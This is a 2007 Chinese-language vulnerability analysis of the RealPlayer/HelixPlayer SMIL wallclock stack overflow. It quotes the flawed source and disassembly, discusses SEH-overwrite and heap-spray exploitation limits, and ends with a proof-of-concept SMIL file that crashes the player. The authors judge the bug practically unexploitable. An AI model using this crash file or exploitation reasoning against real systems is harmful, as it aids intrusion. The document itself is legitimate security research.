realNetworks RealPlayer/HelixPlayer SMIL wallclock Stack Overflow 简单分析(POC)

by axis
2007-06-27
http://www.ph4nt0m.org

这是一个忽悠人的漏洞，这是我们内部讨论后的结论。当然也许是我们考虑的不够全面，所以把我们的分析公开在这里，希望哪位大牛能够指点下我们，望不吝赐教！

那么我们为什么会认为这是个忽悠人的漏洞呢，简单分析如下。

漏洞是今天由idefense公布的.

http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=547

首先看看这个漏洞的历史：

VIII. DISCLOSURE TIMELINE

10/02/2006 Initial vendor notification
10/03/2006 Initial vendor response
06/26/2007 Public disclosure

丫挺的原来去年10月份就报给厂商了，到今天才pub出来。

根据漏洞公告，RealPlayer 10.5是受影响的，和我们的测试结果一致。我们测试10.6已经补了，而10.5和10.0.x都存在这个漏洞。

从公告中可以看出，这个漏洞是看代码看出来，而且是先用flawfinder扫过的。引用公告中的代码如下：

924  HX_RESULT
925  SmilTimeValue::parseWallClockValue(REF( const   char * ) pCh)
926  {
...
957   char  buf[ 10 ];  /*  Flawfinder: ignore  */
...
962   while  ( * pCh)
963  {
...
972   else   if  (isspace( * pCh)  ||   * pCh  ==   ' + '   ||   * pCh  ==   ' - '
||   * pCh  ==   ' Z ' )
973  {
974   //  this will find the last +, - or Z ...  which is
what we want.
975  pTimeZone  =  pCh;
976  }
...
982   ++ pCh;
983  }
...
1101   if  (pTimePos)
1102  {
1103   // HH:MM ...
... .
1133   if  ( * (pos - 1 )  ==   ' : ' )
1134  {
... .
1148   if  ( * (pos - 1 )  ==   ' . ' )
1149  {
1150   //  find end.
1151  UINT32 len  =   0 ;
1152   if  (pTimeZone)
1153  {
1154  len  =  pTimeZone  -  pos;
1155  }
1156   else
1157  {
1158  len  =  end  -  pos;
1159  }
1160  strncpy(buf, pos, len);  /*  Flawfinder: ignore  */

这里告诉我们一个方法，有的漏洞挖掘，可以直接去看同系列的开源代码(如果有的话)，因为代码可能很大程度上是差不多的。同时也告诉我们不要太过于迷信工具，这个漏洞显然是flawfinder检测不出来的。

根据公告的说明，这个漏洞是存在于SMIL语言的wallclock方法中(SMIL语法请自己google).
这个漏洞存在于 /Program Files/Common Files/Real/Pluggins/smlrender.dll 中

loc_608A136A:
sub     eax, edi
mov     edx, eax
mov     [ebp + var_8], eax
push    edx             ; size_t
lea     eax, [ebp + var_40]
push    edi             ;  char   *
push    eax             ;  char   *
call    ds:strncpy
mov     ecx, [ebp + var_8]
add     esp, 0Ch
mov     [ebp + ecx + var_40],  0
mov     al, [ebp + var_40]
test    al, al
jz      loc_608A155A

strncpy的拷贝在如上位置。

拷贝完后会覆盖ecx、edx，同时eax、edi会指向shellcode。
在strncpy拷贝完后，会因为
mov [ebp+ecx+var_40], 0
导致异常，所以我建议覆盖seh利用
SEH的位置在[esp+5C8]处

接下来是这个漏洞真正忽悠人的地方了。

这个天杀的漏洞只能接受如下字符才能触发：
数字0-9,),.,Z,+,-，空格

也就是说触发漏洞的payload只能用上述字符，否则就触发不了漏洞。
即以下字符： 0x30-0x39, 0x20, 0x29, 0x2b, 0x2d, 0x2e, 0x5a

那么不管是覆盖ret，还是覆盖seh，都只能有这些字符，甚至像利用单字节溢出一样，只覆盖一个字节，也只能是这些字符。

先不论shellcode如何写，光是怎么改变程序运行流程使之指向shellcode，几乎就是不可能的了。

使用如下classid： CFCDAA03-8BE4-11cf-B84B-0020AFBBCCFA
在ie中调用，使用heap spray，也只能把堆地址最高推到 0x0f******, 推到0x10******都比较困难。
使用java做 heap spray，堆地址范围是 0x21****** - 0x26****** 也不符合要求。

所以说这个漏洞基本上是忽悠人玩的。

公告中有如下一句话：
The data that is used to overflow the buffer is quite limited in the
range of characters that are allowed. However, given the ease of
address space manipulation within web browsers, exploitation is not
substantially impacted by this limitation.

也许这个漏洞还有别的好的利用方法，那么如果哪位大牛找到了，请share我们一份，谢谢。

以下是我们的POC，注意要挂载了调试器才能看到异常，直接运行是不会挂realplayer的，可惜了一个好漏洞！

< smil  xmlns ="http://www.w3.org/2000/SMIL20/CR/Language" >
   < body >
     < par >
       < img  src ="./1.jpg"  begin ="wallclock(12:00:00.999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999+9)"  dur ="5s" />
     </ par >
   </ body >
</ smil >

将上面代码保存为x.smil即可，这是一个文件类型的漏洞。

怀着恶意揣测一下idefense，可能还有可以利用的好漏洞，他报出来的只是一个垃圾漏洞而已。。。。